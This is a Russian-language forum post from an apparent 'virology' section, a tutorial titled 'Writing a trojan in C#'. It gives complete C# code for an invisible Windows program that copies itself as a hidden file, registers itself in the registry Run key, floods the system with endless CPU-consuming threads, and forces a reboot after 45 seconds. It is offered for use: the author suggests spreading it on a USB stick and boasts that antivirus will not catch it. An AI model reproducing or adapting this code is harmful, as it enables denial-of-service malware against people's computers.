Загрузка...

Пишем троян на С#

Тема в разделе Вирусология создана пользователем Happy 3 июл 2018. (поднята 12 ноя 2017) 2209 просмотров

  1. Happy
    Happy Автор темы 3 июл 2018 Держу курс на заебись 539 23 апр 2017
    Разработка:

    Этап 1.

    Создаем в Visual Studio проект Windows Forms Application, даем ему название, да любое в принципе название, например «system». В настройках проекта выбираем target framework 2.0. Сохраняем, и удаляем из файлов проекта using «Linq».

    Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструктере и изменяем следующие свойства:



    — FormBorderStyle — None

    — Opacity — 0%

    — ShowIcon — False

    — ShowInTaskbar — False



    На этом первый этап можно считать завершенным, мы создали приложение которое будет работать на всех современных системах совершенно невидимо для пользователя. Можно проверить скомпилировав программу и запустив ее.



    Этап 2.

    На этом этапе я покажу некоторый код который понадобится. Что первым делом выполняют вирусы? Правильно - лезут в автозагрузку. Для этого добавим в проект класс с названием «autorun», и обьявим метод «SetAutorunValue»



    Код:

    public static bool SetAutorunValue(bool autorun, string npath)
    {
    const string name = "systems";
    string ExePath = npath;
    RegistryKey reg;

    reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
    try
    {
    if (autorun)
    reg.SetValue(name, ExePath);
    else
    reg.DeleteValue(name);
    reg.Flush();
    reg.Close();
    }
    catch
    {
    return false;
    }
    return true;
    }



    Так как наше вредоносное ПО будет запускаться на Windows, добавим в проект класс размещенный. Это нужно для того чтоб программа могла определять систему в которой запущена, и копироваться в общую папку.



    Далее приведен код добавляющий в автозагрузку наше приложение:

    Код:

    public static string needPatch = "C:\\Users\\Public\\";
    public Form1()
    {
    if (OSVersionInfo.Name == "Windows 10" || OSVersionInfo.Name == "Windows 8")
    {
    autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку
    //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки
    }
    else
    if (OSVersionInfo.Name == "Windows 7")
    {
    needPatch = "C:\\Documents and Settings\\All Users\\";
    autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку
    //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки
    }
    InitializeComponent();
    }



    Теперь научим будущий вирус копироваться на компьютер в общую папку. Впишем код в событие Form1_Load:

    Код:

    if (!File.Exists(needPatch + "system.exe"))
    {
    try
    {
    File.Copy("system.exe", needPatch + "system.exe");
    File.SetAttributes(needPatch + "system.exe", FileAttributes.Hidden);

    }
    catch { }
    }



    Программа самоскопировалась, и сделала себя скрытой.

    На этом можно завершить этап 2. Мы создали программу, которая невидима для пользователя, самокопируется на компьютер и прописывается в автозагрузку. Далее осталось наполнить программу функционалом.



    Этап 3.

    Пусть наш будущий вирус будет вызывать торможение системы и перезагрузку. Торможение системы реализуем следующим путем: бесконечно создаваемые потоки с бесконечным вычислением степени 2.

    Добавим следующий код в Form1.cs



    Код:

    public static void sys_sleep()
    {
    while (true)
    {
    Thread s = new Thread(s_b);
    s.Start();
    }
    }
    private static void s_b()
    {
    int y = 2;
    while (true)
    {
    y *= y;
    }
    }



    С перезагрузкой посложнее, прибегнем к помощи WINAPI, допишем следующее:

    Код:

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    internal struct TokPriv1Luid
    {
    public int Count;
    public long Luid;
    public int Attr;
    }
    [DllImport("kernel32.dll", ExactSpelling = true)]
    internal static extern IntPtr GetCurrentProcess();
    [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
    internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);
    [DllImport("advapi32.dll", SetLastError = true)]
    internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
    [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
    internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
    ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
    [DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
    internal static extern bool ExitWindowsEx(int flg, int rea);
    internal const int EWX_REBOOT = 0x00000002;
    internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege";
    internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
    internal const int TOKEN_QUERY = 0x00000008;
    internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;

    public static Thread thread1;
    public static void DoExitWin(int flg)
    {
    bool ok;
    TokPriv1Luid tp;
    IntPtr hproc = GetCurrentProcess();
    IntPtr htok = IntPtr.Zero;
    ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
    tp.Count = 1;
    tp.Luid = 0;
    tp.Attr = SE_PRIVILEGE_ENABLED;
    ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp.Luid);
    ok = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
    ok = ExitWindowsEx(flg, 0);
    }



    Теперь опишем метод, который по таймеру будет вызывать эффекты работы нашей программы:

    Код:

    public static void start()
    {
    Stopwatch sw = new Stopwatch();
    sw.Start();
    bool b = true;
    bool pl = false;
    while (b)
    {
    if (sw.ElapsedMilliseconds > 20000)
    {
    if (!pl)
    {
    Thread g = new Thread(sys_sleep);
    g.Start();
    pl = true;
    }
    }
    if (sw.ElapsedMilliseconds > 45000)
    {
    DoExitWin(EWX_REBOOT);
    b = false;
    }
    }
    }



    Метод Start() будем вызывать в Form1_Load. Эта программа будет тормозить систему через 20 секунд, и перезагружаться на 45-й секунде работы.



    Можно смело компилировать набранный код, скидывать полученную exe-шку на флешку и проверять созданный Вами вирус.

    При запуске с флешки, программа самоскопируется, начнет тормозить систему и перезагрузит ее, после перезагрузки системы программа запустится через автозагрузку и продолжит свою работу. Антивирусы будут молчать, скромно наблюдая за беспорядками, которые выдает Ваша программа, ведь придраться то им не к чему.
     
Загрузка...
Top